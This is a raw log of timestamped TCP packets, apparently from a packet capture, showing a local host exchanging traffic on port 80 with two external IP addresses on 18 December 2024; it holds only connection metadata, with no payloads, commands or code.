Dec 18, 2024 11:47:20.761284113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.762342930 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.762387037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.762774944 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.762820959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.763478994 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.763490915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.763524055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.764657974 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.764709949 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.764727116 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.764774084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.765769958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.765813112 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.766011953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.766057968 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.766967058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.767023087 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.767582893 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.767640114 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.768126965 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.768172026 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.768487930 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.768599033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:23.465554953 CET	49796	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:23.465858936 CET	49833	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:23.585529089 CET	80	49796	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:23.585546017 CET	80	49833	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:23.585587978 CET	49796	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:23.585635900 CET	49833	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:23.586057901 CET	49833	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:23.706013918 CET	80	49833	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:25.561048031 CET	80	49833	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:25.561619997 CET	49833	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:25.591770887 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:25.592122078 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:25.711606979 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:25.711678028 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:25.711774111 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:25.714257002 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:25.715697050 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:25.835267067 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.141222000 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.141249895 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.141292095 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.141305923 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.141340971 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.141340971 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.141354084 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.141391993 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.141437054 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.141449928 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.141489983 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.141562939 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.141573906 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.141585112 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.141606092 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.141618013 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.261195898 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.261210918 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.261257887 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.261286020 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.265266895 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.265307903 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.265345097 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.265381098 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.273818016 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.273912907 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.388487101 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.388503075 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.388513088 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.388573885 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.388622046 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.393740892 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.393815994 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.504890919 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.504964113 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.508646011 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.508660078 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.508677006 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.508699894 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.508744001 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.514091969 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.514141083 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.625088930 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.625142097 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.625159979 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.625176907 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.625178099 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.625252008 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.625318050 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.625353098 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.625385046 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.625387907 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.625400066 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.625422955 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.625473022 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.625474930 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.625509024 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.625544071 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.625576019 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.625576019 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.625576973 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.625611067 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.625646114 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.625649929 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.625726938 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.625751019 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.625788927 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.625824928 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.625855923 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.625976086 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.627526999 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.627563953 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.627593994 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.627598047 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.627610922 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.627633095 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.627666950 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.627677917 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.627701044 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.627706051 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.627736092 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.627765894 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.627772093 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.627774954 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.627821922 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.628078938 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.628115892 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.628145933 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.628206968 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.628294945 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.628354073 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.628463030 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.628515005 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.635624886 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.635682106 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.635705948 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.635726929 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.643176079 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.643239021 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.643299103 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.650576115 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.650615931 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.650638103 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.650661945 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.748090982 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.748157978 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.748222113 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.748267889 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.751492977 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.751606941 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.751741886 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.751890898 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.758743048 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.758799076 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.758800983 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.758935928 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.766041994 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.766107082 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.766238928 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.766338110 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.772223949 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.772267103 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.772295952 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.772321939 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.777892113 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.778043032 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.778145075 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.778187990 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.783699036 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.783744097 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.783776045 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.783813000 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.789594889 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.789608002 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.789648056 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.789660931 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.795145988 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.795193911 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.795218945 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.795257092 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.800903082 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.800992966 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.801024914 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.801024914 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.807178020 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.807234049 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.807296038 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.807338953 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.812459946 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.812531948 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.812604904 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.812803984 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.818624020 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.818679094 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.818706989 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.818753004 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.823982000 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.824019909 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.824049950 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.824064016 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.829694986 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.829746008 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.829758883 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.829824924 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.835509062 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.835545063 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.835596085 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.835647106 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.841207027 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.841280937 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.841361046 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.841408014 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.846986055 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.847081900 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.847162008 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.847222090 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.852885008 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.852965117 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.853039026 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.853086948 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.858634949 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.858673096 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.858694077 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.858717918 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.864418983 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.864455938 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.864499092 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.864526987 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.869940042 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.869990110 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.870043039 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.870091915 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.875714064 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.875768900 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.875988960 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.876051903 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.881386995 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.881448030 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.881508112 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.881628036 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.887145996 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.887363911 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.887434006 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.887547970 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.892884016 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.893007994 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.893083096 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.893126011 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.898679018 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.898736000 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.898802996 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.898849010 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.904505968 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.904589891 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.904623032 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.904680014 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.910269022 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.910321951 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.910403013 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.910690069 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.915966988 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.916018963 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.916352987 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.916412115 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.922296047 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.922352076 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.922418118 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.922502041 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.927473068 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.927550077 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.927556038 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.927608967 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.933228016 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.933268070 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.933279991 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.933336973 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.938347101 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.938397884 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.938483000 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.938632965 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.947345018 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.947408915 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.947411060 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.947455883 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.948620081 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.948667049 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.948770046 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.948821068 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.953161001 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.953219891 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.953285933 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.953327894 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.957139015 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.957190990 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.957258940 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.957309961 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.961592913 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.961639881 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.961776018 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.961837053 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.966119051 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.966238022 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.966250896 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.966383934 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.969959021 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.969995022 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.970026970 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.970042944 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.973918915 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.974001884 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.974006891 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.974052906 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.977775097 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.977787018 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.977832079 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.981499910 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.981570005 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.981647968 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.981683969 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.985224962 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.985275984 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.985341072 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.985487938 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.989026070 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.989042044 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.989073992 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.989101887 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.992626905 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.992639065 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.992774963 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.992774963 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.996200085 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.996212006 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.996256113 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.996282101 CET	49837	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:27.999814034 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.999825954 CET	80	49837	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:27.999883890 CET	49837	80	192.168.2.6	31.41.244.11
